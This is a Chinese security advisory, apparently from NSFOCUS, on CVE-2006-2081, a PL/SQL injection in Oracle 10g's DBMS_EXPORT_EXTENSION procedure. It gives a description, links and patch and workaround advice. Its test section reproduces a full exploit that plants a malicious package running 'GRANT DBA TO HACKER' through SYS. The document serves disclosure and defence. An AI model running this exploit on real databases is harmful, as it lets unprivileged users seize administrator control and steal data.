安全研究

安全漏洞
Oracle 10g DBMS_EXPORT_EXTENSION存储过程远程SQL注入漏洞

发布日期:2006-04-26
更新日期:2007-02-05

受影响系统:
Oracle Oracle10g 10.2.0.2.0
描述:
BUGTRAQ  ID: 17699
CVE ID: CVE-2006-2081

Oracle是一款大型的商业数据库系统。

Oracle 10g中由SYS用户运行的DBMS_EXPORT_EXTENSION存储过程存在PL/SQL注入漏洞,允许低权限用户以DBA权限执行任意SQL代码。

Oracle声称已在2006年4月的紧急补丁更新中修复了这个漏洞,但实际上并未修复。

<*来源:David Litchfield
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114606418904385&w=2
        http://marc.theaimsgroup.com/?l=bugtraq&m=114546055109559&w=2
        http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2006.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
* Fucking NON-0 day($) exploit for Oracle 10g 10.2.0.2.0
*
* Patch your database now!
*
* by N1V1Hd $3c41r3
*
*/

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
  FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4  VARCHAR2,env SYS.odcienv)
   RETURN NUMBER;
END;
/

CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
  FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4  VARCHAR2,env SYS.odcienv)
    RETURN NUMBER
  IS
   pragma autonomous_transaction;
  BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
    COMMIT;
    RETURN(1);
  END;

END;
/

DECLARE
  INDEX_NAME VARCHAR2(200);
  INDEX_SCHEMA VARCHAR2(200);
  TYPE_NAME VARCHAR2(200);
  TYPE_SCHEMA VARCHAR2(200);
  VERSION VARCHAR2(200);
  NEWBLOCK PLS_INTEGER;
  GMFLAGS NUMBER;
  v_Return VARCHAR2(200);
BEGIN
  INDEX_NAME := 'A1';  INDEX_SCHEMA := 'HACKER';
  TYPE_NAME := 'MYBADPACKAGE';  TYPE_SCHEMA := 'HACKER';
  VERSION := '10.2.0.2.0';  GMFLAGS := 1;

  v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
    INDEX_NAME => INDEX_NAME,    INDEX_SCHEMA => INDEX_SCHEMA,    TYPE_NAME
=> TYPE_NAME,
    TYPE_SCHEMA => TYPE_SCHEMA,    VERSION => VERSION,    NEWBLOCK =>
NEWBLOCK,    GMFLAGS => GMFLAGS
          );
END;
/

http://www.milw0rm.com/exploits/3269
http://www.milw0rm.com/exploits/3401

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 删除DBMS_EXPORT_EXTENSION的PUBLIC执行权限。

厂商补丁:

Oracle
------
Oracle已经为此发布了一个安全公告(cpujul2006)以及相应补丁:
cpujul2006:Oracle Critical Patch Update - July 2006
链接:http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2006.html?_template=/o

浏览次数:4633
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障